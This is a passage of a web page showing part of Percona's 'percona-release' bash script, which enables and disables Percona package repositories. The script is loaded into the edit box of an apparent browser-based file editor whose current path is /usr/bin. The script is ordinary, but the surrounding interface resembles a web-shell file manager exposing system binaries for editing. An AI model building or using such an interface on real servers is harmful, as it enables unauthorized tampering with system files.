  echo &quot;  Example: $(basename ${0}) setup ps-80 --scheme https&quot;
  echo &quot;  Example: $(basename ${0}) setup -y ps-80 --scheme https&quot;
  echo &quot;  Example: $(basename ${0}) enable-only ps-80 experimental --user_name=&lt;User Name&gt; --repo_token=&lt;Pro repository token&gt;&quot;
  echo &quot;  Example: $(basename ${0}) enable-only ps-80 experimental --user_name=&lt;User Name&gt; --repo_token=&lt;Pro repository token&gt; --scheme https&quot;
  echo
  echo &quot;Available commands:          ${COMMANDS}&quot;
  echo
  echo &quot;Available setup products:    &quot;
  sort_array &quot;${ALIASES}&quot;
  echo
  echo &quot;Available repositories:      &quot;
  sort_array &quot;${REPOSITORIES}&quot;
  echo
  echo &quot;Available components:        ${COMPONENTS}&quot;
  echo
  echo &quot;The \&quot;-y\&quot; option for the setup command automatically answers \&quot;yes\&quot; for all interactive questions.&quot;
  echo &quot;The \&quot;show\&quot; command will list all enabled Percona repos on the system.&quot;
  echo &quot;The \&quot;--scheme\&quot; parameter will allow to choose either https or http while enabling Percona repos on the system. If this parameter is not specified, http will be used by default&quot;
  echo &quot;Please see percona-release page for help: https://docs.percona.com/percona-software-repositories/percona-release.html&quot;
}
#
function run_update {
  if [[ ${PKGTOOL} = &quot;apt-get&quot; ]]; then
    AUTOUPDATE=&quot;YES&quot;
    ${PKGTOOL} update
  fi
}
#
function create_yum_repo {
  local _repo=${1}
  if [ -f /etc/os-release ]; then
      OS_VER=$(grep VERSION_ID= /etc/os-release | awk -F&#039;&quot;&#039; &#039;{print $2}&#039; | awk -F&#039;.&#039; &#039;{print $1}&#039;)
  fi
  ARCH_LIST=&quot;${ARCH} sources&quot;
  [[ ${1} = &quot;original&quot; ]] &amp;&amp; _repo=percona &amp;&amp; ARCH_LIST=&quot;${ARCH} noarch sources&quot;
  [[ ${1} = &quot;prel&quot; ]] &amp;&amp; ARCH_LIST=&quot;noarch&quot;
  [[ ${1} = &quot;telemetry&quot; ]] &amp;&amp; ARCH_LIST=&quot;${ARCH} sources&quot;
  [[ ${1} = ppg* ]] &amp;&amp; ARCH_LIST=&quot;${ARCH} noarch sources&quot;
  for _key in ${ARCH_LIST}; do
    if ! is_supported_arch &quot;$_key&quot;; then
      echo &quot;WARNING: Skipping ${_key} architecture, as it&#039;s not supported&quot;
      continue
    fi

    echo &quot;[${_repo}-${2}-${_key}]&quot; &gt;&gt; ${REPOFILE}
    echo &quot;name = ${DESCRIPTION} ${2}/${_key} YUM repository&quot; &gt;&gt; ${REPOFILE}
    if [[ ${_key} = sources ]]; then
      DIR=SRPMS
      rPATH=&quot;&quot;
      ENABLE=0
    else
      DIR=RPMS
      rPATH=&quot;/${_key}&quot;
      ENABLE=1
    fi

    if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
      [[ -z ${USER_NAME} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires user_name for ${REPO_NAME} repository. Use --user_name switch to pass user name&quot; &amp;&amp; exit 2
      [[ -z ${REPO_TOKEN} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires repo_token for ${REPO_NAME} repository. Use --repo_token switch to pass repository token&quot; &amp;&amp; exit 2
      echo &quot;baseurl = ${URL}/private/${USER_NAME}-${REPO_TOKEN}/${_repo}/yum/${2}/\$releasever/${DIR}${rPATH}&quot; &gt;&gt; ${REPOFILE}
    else
      echo &quot;baseurl = ${URL}/${_repo}/yum/${2}/\$releasever/${DIR}${rPATH}&quot; &gt;&gt; ${REPOFILE}
    fi
    echo &quot;enabled = ${ENABLE}&quot; &gt;&gt; ${REPOFILE}
    echo &quot;gpgcheck = 1&quot; &gt;&gt; ${REPOFILE}
    if [[ ${OS_VER} == 2023 ]]; then
      sed -i &#039;s/$releasever/2023/g&#039; /etc/yum.repos.d/percona*.repo
    fi
    [[ -n &quot;${CURL_PROXY}&quot; ]] &amp;&amp; echo &quot;proxy = ${CURL_PROXY}&quot; &gt;&gt; ${REPOFILE}
    echo &quot;gpgkey = file:///etc/pki/rpm-gpg/PERCONA-PACKAGING-KEY&quot; &gt;&gt; ${REPOFILE}
    echo &gt;&gt; ${REPOFILE}
  done
}
#
function create_apt_repo {
  local _repo=${1}
  local _proxyline=

  [[ ${1} = &quot;original&quot; ]] &amp;&amp; _repo=percona
  REPOURL=&quot;${URL}/${_repo}/apt ${CODENAME}&quot;

  if [[ &quot;${REPO_NAME}&quot; == *-eol ]]; then
    [[ -z ${USER_NAME} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires user_name for ${REPO_NAME} repository. Use --user_name switch to pass user name&quot; &amp;&amp; exit 2
    [[ -z ${REPO_TOKEN} ]] &amp;&amp; echo -e &quot;ERROR: ${REPO_NAME} requires repo_token for ${REPO_NAME} repository. Use --repo_token switch to pass repository token&quot; &amp;&amp; exit 2
    REPOURL=&quot;${URL}/private/${USER_NAME}-${REPO_TOKEN}/${_repo}/apt ${CODENAME}&quot;
  fi

  if [[ -n &quot;${CURL_PROXY}&quot; ]]; then
      _proxyline=&quot;Acquire::${APT_PROXY_SCHEME}::Proxy::${URL/${APT_PROXY_SCHEME}:\/\//} \&quot;${CURL_PROXY}\&quot;;&quot;

      if [[ ! -f /etc/apt/apt.conf.d/99-percona-release ]] || ( ! grep -Rq &quot;${_proxyline}&quot; /etc/ ); then
          echo &quot;${_proxyline}&quot; &gt;&gt; /etc/apt/apt.conf.d/99-percona-release
      fi
  fi
  if [[ ${2} = release ]]; then
    _component=main
    echo &quot;deb [signed-by=/usr/share/keyrings/percona-keyring.gpg] ${REPOURL} ${_component}&quot; &gt;&gt; ${REPOFILE}
    echo &quot;deb-src [signed-by=/usr/share/keyrings/percona-keyring.gpg] ${REPOURL} ${_component}&quot; &gt;&gt; ${REPOFILE}
  else
    echo &quot;deb [signed-by=/usr/share/keyrings/percona-keyring.gpg] ${REPOURL} ${_component}&quot; &gt;&gt; ${REPOFILE}
  fi
}
#
function enable_component {
  local _repo=percona-${1}
  [[ -n ${2} ]] &amp;&amp; check_specified_component ${2}
  if [[ ${2} = all ]]; then
    dCOMP=${COMPONENTS}
  elif [[ -z ${2} ]]; then
    dCOMP=release
  else
    dCOMP=${2}
  fi
#
  for _component in ${dCOMP}; do
    if [[ ${_repo} = percona-original ]]; then
      [[ -f ${LOCATION}/percona-percona-${_component}.${EXT} ]] &amp;&amp; _repo=&quot;percona-percona&quot;
    elif [[  ${_repo} = percona-percona ]]; then
      [[ -f ${LOCATION}/percona-original-${_component}.${EXT} ]] &amp;&amp; _repo=&quot;percona-original&quot;
    fi
    REPOFILE=${LOCATION}/${_repo}-${_component}.${EXT}
    echo &quot;#&quot; &gt; ${REPOFILE}
    echo &quot;# This repo is managed by \&quot;$(basename ${0})\&quot; utility, do not edit!&quot; &gt;&gt; ${REPOFILE}
    echo &quot;#&quot; &gt;&gt; ${REPOFILE}
    if [[ ${PKGTOOL} = dnf ]]; then
      create_yum_repo ${1} ${_component}
    elif [[ ${PKGTOOL} = &quot;apt-get&quot; ]]; then
      create_apt_repo ${1} ${_component}
    fi
  done
}
#
function disable_component {
  local _repo=percona-${1}
  if [[ ${1} = all ]]; then
    for REPO_FILE in $(find ${LOCATION} -type f -iname &quot;percona*.${EXT}&quot; -not -iname &quot;*prel-release*&quot; -not -iname &quot;*telemetry-release*&quot;); do
      mv -f ${REPO_FILE} ${REPO_FILE}.bak 2&gt;/dev/null
    done
  elif [[ -z ${2} ]]; then
    for comp in testing experimental; do
      mv -f ${LOCATION}/${_repo}-${comp}.${EXT} ${LOCATION}/${_repo}-${comp}.${EXT}.bak 2&gt;/dev/null
    done
    if [[ ${_repo} != *prel &amp;&amp; ${_repo} != *telemetry ]]; then
      mv -f ${LOCATION}/${_repo}-release.${EXT} ${LOCATION}/${_repo}-release.${EXT}.bak 2&gt;/dev/null
    fi
  else
    check_specified_component ${2}
    if [[ ${_repo} != *prel &amp;&amp; ${_repo} != *telemetry ]]; then
      mv -f ${LOCATION}/${_repo}-${2}.${EXT} ${LOCATION}/${_repo}-${2}.${EXT}.bak 2&gt;/dev/null
    else
      if [[ ${2} != &quot;release&quot; ]]; then
        mv -f ${LOCATION}/${_repo}-${2}.${EXT} ${LOCATION}/${_repo}-${2}.${EXT}.bak 2&gt;/dev/null
      fi
    fi
  fi
}
#
function enable_repository {
  check_specified_repo ${1}
  [[ ${1} = &quot;ps-56&quot; ]]    &amp;&amp; DESCRIPTION=${PS56_DESC}
  [[ ${1} = &quot;ps-57&quot; ]]    &amp;&amp; DESCRIPTION=${PS57_DESC}
  [[ ${1} = &quot;ps-80&quot; ]]    &amp;&amp; DESCRIPTION=${PS80_DESC}
  [[ ${1} = &quot;ps-57-eol&quot; ]]    &amp;&amp; DESCRIPTION=${PS57_EOL_DESC}
  [[ ${1} = &quot;pxc-57-eol&quot; ]]    &amp;&amp; DESCRIPTION=${PXC57_EOL_DESC}
  [[ ${1} = &quot;pxc-56&quot; ]]   &amp;&amp; DESCRIPTION=${PXC56_DESC}
  [[ ${1} = &quot;pxc-57&quot; ]]   &amp;&amp; DESCRIPTION=${PXC57_DESC}
  [[ ${1} = &quot;pxc-80&quot; ]]   &amp;&amp; DESCRIPTION=${PXC80_DESC}
  [[ ${1} = &quot;pxb-24&quot; ]]   &amp;&amp; DESCRIPTION=${PXB24_DESC}
  [[ ${1} = &quot;pxb-80&quot; ]]   &amp;&amp; DESCRIPTION=${PXB80_DESC}
  [[ ${1} = &quot;psmdb-36&quot; ]]  &amp;&amp; DESCRIPTION=${PSMDB36_DESC}
  [[ ${1} = &quot;psmdb-40&quot; ]]  &amp;&amp; DESCRIPTION=${PSMDB40_DESC}
  [[ ${1} = &quot;psmdb-42&quot; ]]  &amp;&amp; DESCRIPTION=${PSMDB42_DESC}
  [[ ${1} = &quot;tools&quot; ]]    &amp;&amp; DESCRIPTION=${TOOLS_DESC}
  [[ ${1} = &quot;ppg-11&quot; ]]    &amp;&amp; DESCRIPTION=${PPG11_DESC}
  [[ ${1} = &quot;ppg-11.5&quot; ]]    &amp;&amp; DESCRIPTION=${PPG11_5_DESC}
  [[ ${1} = &quot;ppg-11.6&quot; ]]    &amp;&amp; DESCRIPTION=${PPG11_6_DESC}
  [[ ${1} = &quot;ppg-11.7&quot; ]]    &amp;&amp; DESCRIPTION=${PPG11_7_DESC}
  [[ ${1} = &quot;ppg-11.8&quot; ]]    &amp;&amp; DESCRIPTION=${PPG11_8_DESC}
  [[ ${1} = &quot;pdmdb-4.2&quot; ]]    &amp;&amp; DESCRIPTION=${PDMDB4_2_DESC}
  [[ ${1} = &quot;pdmdb-4.2.6&quot; ]]    &amp;&amp; DESCRIPTION=${PDMDB4_2_6_DESC}
  [[ ${1} = &quot;pdmdb-4.2.7&quot; ]]    &amp;&amp; DESCRIPTION=${PDMDB4_2_7_DESC}
  [[ ${1} = &quot;pdmdb-4.2.8&quot; ]]    &amp;&amp; DESCRIPTION=${PDMDB4_2_8_DESC}
  [[ ${1} = &quot;ppg-12&quot; ]]    &amp;&amp; DESCRIPTION=${PPG12_DESC}
  [[ ${1} = &quot;ppg-12.2&quot; ]]    &amp;&amp; DESCRIPTION=${PPG12_2_DESC}
  [[ ${1} = &quot;ppg-12.3&quot; ]]    &amp;&amp; DESCRIPTION=${PPG12_3_DESC}
  [[ ${1} = &quot;pdps-8.0&quot; ]]    &amp;&amp; DESCRIPTION=${PDPS80_DESC}
  [[ ${1} = &quot;pdpxc-8.0&quot; ]]    &amp;&amp; DESCRIPTION=${PDPXC80_DESC}
  [[ ${1} = &quot;pdps-8.0.19&quot; ]]    &amp;&amp; DESCRIPTION=${PDMYSQL80_19_DESC}
  [[ ${1} = &quot;pdps-8.0.20&quot; ]]    &amp;&amp; DESCRIPTION=${PDMYSQL80_20_DESC}
  [[ ${1} = &quot;pdpxc-8.0.19&quot; ]]    &amp;&amp; DESCRIPTION=${PDPXC80_19_DESC}
  [[ ${1} = &quot;pdps-8x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PDPS8X_INNOVATION_DESC}
  [[ ${1} = &quot;ps-8x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PS8X_INNOVATION_DESC}
  [[ ${1} = &quot;ps-84-lts&quot; ]]    &amp;&amp; DESCRIPTION=${PS84_LTS_DESC}
  [[ ${1} = &quot;pxc-8x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PXC8X_INNOVATION_DESC}
  [[ ${1} = &quot;pxc-84-lts&quot; ]]    &amp;&amp; DESCRIPTION=${PXC84_LTS_DESC}
  [[ ${1} = &quot;pdpxc-8x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PDPXC8X_INNOVATION_DESC}
  [[ ${1} = &quot;pxb-8x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PXB8X_INNOVATION_DESC}
  [[ ${1} = &quot;pxb-84-lts&quot; ]]    &amp;&amp; DESCRIPTION=${PXB84_LTS_DESC}
  [[ ${1} = &quot;pdps-9x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PDPS9X_INNOVATION_DESC}
  [[ ${1} = &quot;ps-9x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PS9X_INNOVATION_DESC}
  [[ ${1} = &quot;pxc-9x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PXC9X_INNOVATION_DESC}
  [[ ${1} = &quot;pdpxc-9x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PDPXC9X_INNOVATION_DESC}
  [[ ${1} = &quot;pxb-9x-innovation&quot; ]]    &amp;&amp; DESCRIPTION=${PXB9X_INNOVATION_DESC}
  [[ ${1} = &quot;prel&quot; ]]    &amp;&amp; DESCRIPTION=${PREL_DESC}
  [[ ${1} = &quot;telemetry&quot; ]]    &amp;&amp; DESCRIPTION=${TELEMETRY_DESC}
  [[ ${1} = &quot;valkey&quot; ]]    &amp;&amp; DESCRIPTION=${VALKEY_DESC}
  [[ ${1} = &quot;proxysql&quot; ]]    &amp;&amp; DESCRIPTION=${PROXYSQL_DESC}
  [[ ${1} = &quot;sysbench&quot; ]]    &amp;&amp; DESCRIPTION=${SYSBENCH_DESC}
  [[ ${1} = &quot;pt&quot; ]]    &amp;&amp; DESCRIPTION=${PT_DESC}
  [[ ${1} = &quot;pbm&quot; ]]    &amp;&amp; DESCRIPTION=${PBM_DESC}
  [[ ${1} = &quot;mysql-shell&quot; ]]    &amp;&amp; DESCRIPTION=${MYSQL_SHELL_DESC}
  [[ ${1} = &quot;pmm-client&quot; ]]    &amp;&amp; DESCRIPTION=${PMM_CLIENT_DESC}
  [[ ${1} = &quot;pmm2-client&quot; ]]    &amp;&amp; DESCRIPTION=${PMM2_CLIENT_DESC}
  [[ ${1} = &quot;pmm3-client&quot; ]]    &amp;&amp; DESCRIPTION=${PMM3_CLIENT_DESC}
  if [[ -z ${DESCRIPTION} ]]; then
    REPO_NAME=$(echo ${1} | sed &#039;s/-//&#039;)
    name=$(echo ${REPO_NAME} | sed &#039;s/[0-9].*//g&#039;)
    version=$(echo ${REPO_NAME} | sed &#039;s/[a-z]*//g&#039;)
    if [[ $version != *.* &amp;&amp; $name != &quot;ppg&quot; ]] ; then
      version=$(echo $version | sed -r &#039;:A;s|([0-9])([0-9]){1}|\1.\2|g&#039;)
    fi
    [[ ${name} == ppg* ]]    &amp;&amp; DESCRIPTION=&quot;${PPG_DESC} $version&quot;
    [[ ${name} == pdmdb* ]]    &amp;&amp; DESCRIPTION=&quot;${PDMDB_DESC} $version&quot;
    [[ ${name} == ps* ]]    &amp;&amp; DESCRIPTION=&quot;${PS_DESC} $version&quot;
    [[ ${name} == psmdb* ]]    &amp;&amp; DESCRIPTION=&quot;${PSMDB_DESC} $version&quot;
    [[ ${name} == pdps* ]]    &amp;&amp; DESCRIPTION=&quot;${PDPS_DESC} $version&quot;
    [[ ${name} == pdpxc* ]]    &amp;&amp; DESCRIPTION=&quot;${PDPXC_DESC} $version&quot;
  fi
  [[ -z ${DESCRIPTION} ]] &amp;&amp; DESCRIPTION=${DEFAULT_REPO_DESC}
  echo &quot;* Enabling the ${DESCRIPTION} repository&quot;

  if [[ -z ${2} ]] || [[ ${2} == *&quot;--user_name=&quot;* ]] || [[ ${2} == *&quot;--repo_token=&quot;* ]] || [[ ${2} == *&quot;--scheme&quot;* ]] || [[ ${2} == *&quot;http&quot;* ]]; then
    COMPONENT=&quot;release&quot;
  else
    COMPONENT=${2}
  fi
  enable_component ${1} ${COMPONENT}
  MODIFIED=YES
}
#
function disable_repository {
  local _repos=${1}
  if [[ ${1} = all ]]; then
    disable_component all
  else
    check_specified_repo ${1}
    if [[ ${1} != &quot;prel&quot; &amp;&amp; ${1} != &quot;telemetry&quot; ]]; then
      disable_component ${1} ${2}
    else
      if [[ ${2} != &quot;release&quot; ]]; then
        disable_component ${1} ${2}
      fi
    fi
  fi
  MODIFIED=YES
}
#
function update_rpm {
  if [[ -f /usr/bin/dnf ]]; then
    RHEL=$(rpm --eval %rhel)
    UPDATES=$(dnf check-update rpm)
    if [ $? -eq 100 ]; then
      if [[ -f /usr/bin/dnf &amp;&amp; ${RHEL} = 8 ]]; then
        if [[ ${INTERACTIVE} = YES ]]; then
          echo &quot;On Red Hat 8 systems it is recommended to update rpm package to install ${PRODUCT}&quot;
          read -r -p &quot;Do you want to update it? [y/N] &quot; response
          if [[ &quot;$response&quot; =~ ^([yY][eE][sS]|[yY])+$ ]]
          then
            dnf -y update rpm
          else
            echo &quot;Please note that using an old version of rpm package can cause dependency issues or conflicts with existing packages.&quot;
            echo &quot;If in the future you decide to update rpm package please execute the next command:&quot;
            echo &quot;  dnf update rpm&quot;
          fi
        else
          echo &quot;On Red Hat 8 systems it is recommended to update rpm package to install ${PRODUCT}&quot;
          dnf -y update rpm
        fi
      fi
    fi
  fi
}
#
function check_enabled_modules {
  MOD=&quot;${1} ${2}&quot;
  if [[ -f /usr/bin/dnf ]]; then
    for element in ${MOD[@]}
    do
      check_command=$(dnf -q module list --enabled | awk &#039;{print $1}&#039; | grep ${element})
      if [[ -n ${check_command} ]]; then
        ENABLED_MODULES=YES
        return
      fi
    done
  fi
  ENABLED_MODULES=NO
}
#
function disable_dnf_module {
  REPO_NAME=${1}
  MODULE=&quot;mysql&quot;
  PRODUCT=&quot;Percona-Server&quot;
  if [[ ${REPO_NAME} == ppg* ]]; then
    MODULE=&quot;postgresql&quot;
    PRODUCT=&quot;Percona PostgreSQL Distribution&quot;
  fi
  if [[ ${REPO_NAME} == pdps* ]]; then
    MODULE=&quot;mysql&quot;
    PRODUCT=&quot;Percona Distribution for MySQL - PS&quot;
  fi
  if [[ ${REPO_NAME} == pdpxc* ]]; then
    MODULE=&quot;mysql&quot;
    PRODUCT=&quot;Percona Distribution for MySQL - PXC&quot;
  fi
  if [[ ${REPO_NAME} = pxc* ]];  then
    MODULE=&quot;mysql&quot;
    PRODUCT=&quot;Percona XtraDB Cluster&quot;
  fi
  check_enabled_modules ${MODULE}
  if [[ -f /usr/bin/dnf &amp;&amp; ${ENABLED_MODULES} = YES ]]; then
    if [[ ${INTERACTIVE} = YES ]]; then
      echo &quot;On Red Hat 8 and 9 systems it is needed to disable the following DNF module(s): ${MODULE}  to install ${PRODUCT}&quot;
      read -r -p &quot;Do you want to disable it? [y/N] &quot; response
      if [[ &quot;$response&quot; =~ ^([yY][eE][sS]|[yY])+$ ]]
      then
        echo &quot;Disabling dnf module...&quot;
        dnf -y module disable ${MODULE}
        echo &quot;DNF ${MODULE} module was disabled&quot;
      else
        echo &quot;Please note that some packages might be unavailable as packages that aren&#039;t included into DNF module are filtered&quot;
        echo &quot;If in the future you decide to disable module(s) please execute the next command:&quot;
        echo &quot;  dnf module disable ${MODULE}&quot;
      fi
    else
      echo &quot;On Red Hat 8 and 9 systems it is needed to disable the following DNF module(s): ${MODULE}  to install ${PRODUCT}&quot;
      echo &quot;Disabling DNF module...&quot;
      dnf -y module disable ${MODULE}
      echo &quot;DNF ${MODULE} module was disabled&quot;
    fi
  fi
}
#
function enable_alias {
  local REPOS=&quot;&quot;
  if [[ ${1} != *-innovation ]] &amp;&amp; [[ ${1} != *-eol  ]] &amp;&amp; [[ ${1} != *-lts  ]]; then
    local NAME=$( echo ${1} | sed &#039;s/-//&#039; )
  else
    local NAME=${1}
  fi
  check_specified_alias ${NAME}
  if [[ ${NAME} == *xinnovation ]]; then
    NAME=$( echo ${NAME} | sed &#039;s/innovation/-innovation/&#039; )
  fi
  if [[ ${NAME} == *4lts ]]; then
    NAME=$(echo ${NAME} | sed &#039;s/lts/-lts/&#039; )
  fi
  [[ ${NAME} = ps56 ]] &amp;&amp; REPOS=${PS56REPOS:-}
  [[ ${NAME} = ps57 ]] &amp;&amp; REPOS=${PS57REPOS:-}
  [[ ${NAME} = ps80 ]] &amp;&amp; REPOS=${PS80REPOS:-}
  [[ ${NAME} = ps57-eol ]] &amp;&amp; REPOS=${PS57EOLREPOS:-}
  [[ ${NAME} = pxc57-eol ]] &amp;&amp; REPOS=${PXC57EOLREPOS:-}
  [[ ${NAME} = pxc56 ]] &amp;&amp; REPOS=${PXC56REPOS:-}
  [[ ${NAME} = pxc57 ]] &amp;&amp; REPOS=${PXC57REPOS:-}
  [[ ${NAME} = pxc80 ]] &amp;&amp; REPOS=${PXC80REPOS:-}
  [[ ${NAME} = pxb24 ]] &amp;&amp; REPOS=${PXB24REPOS:-}
  [[ ${NAME} = pxb80 ]] &amp;&amp; REPOS=${PXB80REPOS:-}
  [[ ${NAME} = psmdb36 ]] &amp;&amp; REPOS=${PSMDB36REPOS:-}
  [[ ${NAME} = psmdb40 ]] &amp;&amp; REPOS=${PSMDB40REPOS:-}
  [[ ${NAME} = psmdb42 ]] &amp;&amp; REPOS=${PSMDB42REPOS:-}
  [[ ${NAME} = ppg11 ]] &amp;&amp; REPOS=${PPG11REPOS:-}
  [[ ${NAME} = ppg11.5 ]] &amp;&amp; REPOS=${PPG11_5_REPOS:-}
  [[ ${NAME} = ppg11.6 ]] &amp;&amp; REPOS=${PPG11_6_REPOS:-}
  [[ ${NAME} = ppg11.7 ]] &amp;&amp; REPOS=${PPG11_7_REPOS:-}
  [[ ${NAME} = ppg11.8 ]] &amp;&amp; REPOS=${PPG11_8_REPOS:-}
  [[ ${NAME} = pdmdb4.2 ]] &amp;&amp; REPOS=${PDMDB4_2_REPOS:-}
  [[ ${NAME} = pdmdb4.2.6 ]] &amp;&amp; REPOS=${PDMDB4_2_6_REPOS:-}
  [[ ${NAME} = pdmdb4.2.7 ]] &amp;&amp; REPOS=${PDMDB4_2_7_REPOS:-}
  [[ ${NAME} = pdmdb4.2.8 ]] &amp;&amp; REPOS=${PDMDB4_2_8_REPOS:-}
  [[ ${NAME} = ppg12 ]] &amp;&amp; REPOS=${PPG12_REPOS:-}
  [[ ${NAME} = ppg12.2 ]] &amp;&amp; REPOS=${PPG12_2_REPOS:-}
  [[ ${NAME} = ppg12.3 ]] &amp;&amp; REPOS=${PPG12_3_REPOS:-}
  [[ ${NAME} = pdps8.0 ]] &amp;&amp; REPOS=${PDPS80_REPOS:-}
  [[ ${NAME} = pdps8.0.19 ]] &amp;&amp; REPOS=${PDPS80_19_REPOS:-}
  [[ ${NAME} = pdps8.0.20 ]] &amp;&amp; REPOS=${PDPS80_20_REPOS:-}
  [[ ${NAME} = pdpxc8.0 ]] &amp;&amp; REPOS=${PDPXC80_REPOS:-}
  [[ ${NAME} = pdpxc8.0.19 ]] &amp;&amp; REPOS=${PDPXC80_19_REPOS:-}
  [[ ${NAME} = pdps8x-innovation ]] &amp;&amp; REPOS=${PDPS8X_INNOVATION_REPOS:-}
  [[ ${NAME} = ps8x-innovation ]] &amp;&amp; REPOS=${PS8X_INNOVATION_REPOS:-}
  [[ ${NAME} = ps84-lts ]] &amp;&amp; REPOS=${PS84_LTS_REPOS:-}
  [[ ${NAME} = pxc8x-innovation ]] &amp;&amp; REPOS=${PXC8X_INNOVATION_REPOS:-}
  [[ ${NAME} = pxc84-lts ]] &amp;&amp; REPOS=${PXC84_LTS_REPOS:-}
  [[ ${NAME} = pdpxc8x-innovation ]] &amp;&amp; REPOS=${PDPXC8X_INNOVATION_REPOS:-}
  [[ ${NAME} = pdpxc84-lts ]] &amp;&amp; REPOS=${PDPXC84_LTS_REPOS:-}
  [[ ${NAME} = pxb8x-innovation ]] &amp;&amp; REPOS=${PXB8X_INNOVATION_REPOS:-}
  [[ ${NAME} = pxb84-lts ]] &amp;&amp; REPOS=${PXB84_LTS_REPOS:-}
  [[ ${NAME} = pdps84-lts ]] &amp;&amp; REPOS=${PDPS84_LTS_REPOS:-}
  [[ ${NAME} = pdps9x-innovation ]] &amp;&amp; REPOS=${PDPS9X_INNOVATION_REPOS:-}
  [[ ${NAME} = ps9x-innovation ]] &amp;&amp; REPOS=${PS9X_INNOVATION_REPOS:-}
  [[ ${NAME} = pxc9x-innovation ]] &amp;&amp; REPOS=${PXC9X_INNOVATION_REPOS:-}
  [[ ${NAME} = pdpxc9x-innovation ]] &amp;&amp; REPOS=${PDPXC9X_INNOVATION_REPOS:-}
  [[ ${NAME} = pxb9x-innovation ]] &amp;&amp; REPOS=${PXB9X_INNOVATION_REPOS:-}
  [[ ${NAME} = prel ]] &amp;&amp; REPOS=${PREL_REPOS:-}
  [[ ${NAME} = telemetry ]] &amp;&amp; REPOS=${PREL_REPOS:-}
  [[ ${NAME} = proxysql ]] &amp;&amp; REPOS=${PROXYSQL_REPOS:-}
  [[ ${NAME} = sysbench ]] &amp;&amp; REPOS=${SYSBENCH_REPOS:-}
  [[ ${NAME} = pt ]] &amp;&amp; REPOS=${PT_REPOS:-}
  [[ ${NAME} = pbm ]] &amp;&amp; REPOS=${PBM_REPOS:-}
  [[ ${NAME} = mysqlshell ]] &amp;&amp; REPOS=${MYSQL_SHELL_REPOS:-}
  [[ ${NAME} = pmmclient ]] &amp;&amp; REPOS=${PMM_CLIENT_REPOS:-}
  [[ ${NAME} = pmm2client ]] &amp;&amp; REPOS=${PMM2_CLIENT_REPOS:-}
  [[ ${NAME} = pmm3client ]] &amp;&amp; REPOS=${PMM3_CLIENT_REPOS:-}
  [[ ${NAME} = tools ]] &amp;&amp; REPOS=${TOOLS_REPOS:-}
  [[ ${NAME} = original ]] &amp;&amp; REPOS=${ORIGINAL_REPOS:-}
  [[ ${NAME} = percona ]] &amp;&amp; REPOS=${ORIGINAL_REPOS:-}
  if [[ -z ${DESCRIPTION} ]]; then
    if [[ -z &quot;${REPOS}&quot; ]]; then
      name=$(echo ${NAME} | sed &#039;s/[0-9].*//g&#039;)
      version=$(echo ${NAME} | sed &#039;s/[a-z]*//g&#039;)
      [[ ${name} = &quot;ppg&quot; ]] &amp;&amp; REPOS=&quot;$name-$version&quot;
      [[ ${name} = &quot;pdmdb&quot; ]] &amp;&amp; REPOS=&quot;$name-$version&quot;
      [[ ${name} = &quot;psmdb&quot; ]] &amp;&amp; REPOS=&quot;$name-$version&quot;
      [[ ${name} = &quot;pdps&quot; ]] &amp;&amp; REPOS=&quot;$name-$version&quot;
      [[ ${name} = &quot;pdpxc&quot; ]] &amp;&amp; REPOS=&quot;$name-$version&quot;
    fi
  fi
  if [[ ${NAME} = ps80 ]] || [[ ${NAME} == pxc* ]] || [[ ${NAME} == ppg* ]] || [[ ${NAME} == pdps* ]] || [[ ${NAME} == pdpxc* ]] || [[ ${NAME} == *innovation ]] || [[ ${NAME} == *lts ]]; then
    disable_dnf_module ${NAME}
    update_rpm ${NAME}
  fi
  for _repo in ${REPOS}; do
    if [[ -z $(echo ${REPOSITORIES} | grep -o ${_repo}) ]]; then
      echo &quot;ERROR: Selected product uses \&quot;${REPOS}\&quot; repositories. But the \&quot;${_repo}\&quot; repository is disabled&quot;
      echo &quot;Add \&quot;${_repo}\&quot; repository to REPOSITORIES=\&quot;\&quot; variable in /etc/default/percona-release file and re-run the script&quot;
      exit 1
    fi
    enable_repository ${_repo} $2
  done
  run_update
}
#
function check_setup_command {
  if [[ &quot;$1&quot; == &quot;-y&quot; || &quot;${!#}&quot; == &quot;-y&quot; ]]; then
      export INTERACTIVE=no
  elif [[ -n ${2} ]] &amp;&amp; [[ ${2} != &quot;--scheme&quot; ]]; then
    echo &quot;* \&quot;setup\&quot; command supports only \&quot;-y\&quot;&quot;
    show_help
    exit 2
  fi
}
#
update_scheme_if_needed $@
get_repos_from_site
#
if [[ ${COMMANDS} != *$(echo ${1} | sed &#039;s/^--//g&#039;)* ]]; then
  echo &quot;ERROR: Unknown action specified: ${1}&quot;
  show_help
  exit 2
fi
#
check_repo_availability $@
case $(echo ${1} | sed &#039;s/^--//g&#039;) in
  enable )
    shift
    enable_repository $@
    run_update
    ;;
  enable-silent )
    shift
    enable_repository $@
    ;;
  enable-only )
    shift
    echo &quot;* Disabling all Percona Repositories&quot;
    disable_repository all all
    enable_repository $@
    run_update
    ;;
  setup )
    shift
    check_setup_command $@
    check_specified_alias ${@##-*}
    echo &quot;* Disabling all Percona Repositories&quot;
    disable_repository all all
    enable_alias ${@##-*}
    ;;
  disable )
    shift
    disable_repository $@
    run_update
    ;;
  show )
    shift
    show_enabled
    ;;
  * )
    show_help
    exit 3
    ;;
esac
#
if [[ ${AUTOUPDATE} = NO ]]; then
  show_message
fi
#

</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/bin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
